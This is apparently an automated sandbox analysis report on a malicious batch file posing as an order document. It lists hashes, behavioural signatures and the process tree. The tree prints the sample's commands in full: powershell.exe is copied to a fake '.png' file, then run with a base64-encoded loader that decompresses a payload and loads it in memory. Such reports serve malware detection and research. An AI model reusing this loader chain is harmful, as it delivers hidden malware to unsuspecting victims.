Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    08-12-2023 14:01

General

  • Target

    ORDER-SUNNY 10005916.bat

  • Size

    1009KB

  • MD5

    27c302e3247d5a9f8fce50cfba636e22

  • SHA1

    7939d397dba283814967080fb37913d9076dab49

  • SHA256

    1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0

  • SHA512

    040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70

  • SSDEEP

    24576:hHOmVihj9V3HNS0B0dgIx4l0ivt/Ixdt+gnfpV6gXhtnLPv+yqV82DqdFUWvw:h6j3fpI57zPVqmTgj

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2452
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
        2⤵
          PID:2476
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2656
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:2160
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
              3⤵
                PID:2764
              • C:\Windows\system32\xcopy.exe
                xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat" C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat
                3⤵
                  PID:2668
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo F "
                  3⤵
                    PID:2288
                  • C:\Users\Admin\AppData\Local\Temp\Iduou.png
                    C:\Users\Admin\AppData\Local\Temp\Iduou.png -win 1 -enc JABBAGIAcQB5AGwAYwBiAGYAcgBvACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEcAYwBxAHMAcwBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQQBiAHEAeQBsAGMAYgBmAHIAbwApADsAJABKAHQAdABjAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAYwBxAHMAcwBuAGQAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVQB2AGoAZABtAGcAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAHQAdABjAHAALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAGwAbwBzAGUAKAApADsAJABKAHQAdABjAHAALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAGMAcQBzAHMAbgBkACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABWAG0AaABoAHEAZABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABQAHEAawBpAHkAbABpAGMAcgAgAD0AIAAkAFYAbQBoAGgAcQBkAHAALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAHUAZABxAHcAbgBzAGUAdAB4AG8AIAA9ACAAJABQAHEAawBpAHkAbABpAGMAcgAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2400

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\Iduou.png

                Filesize

                442KB

                MD5

                92f44e405db16ac55d97e3bfe3b132fa

                SHA1

                04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

                SHA256

                6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

                SHA512

                f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

              • C:\Users\Admin\AppData\Local\Temp\Iduou.png

                Filesize

                442KB

                MD5

                92f44e405db16ac55d97e3bfe3b132fa

                SHA1

                04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

                SHA256

                6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

                SHA512

                f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

              • memory/2400-8-0x0000000073F50000-0x00000000744FB000-memory.dmp

                Filesize

                5.7MB

              • memory/2400-9-0x0000000073F50000-0x00000000744FB000-memory.dmp

                Filesize

                5.7MB

              • memory/2400-10-0x0000000002640000-0x0000000002680000-memory.dmp

                Filesize

                256KB

              • memory/2400-11-0x0000000002640000-0x0000000002680000-memory.dmp

                Filesize

                256KB

              • memory/2400-12-0x0000000073F50000-0x00000000744FB000-memory.dmp

                Filesize

                5.7MB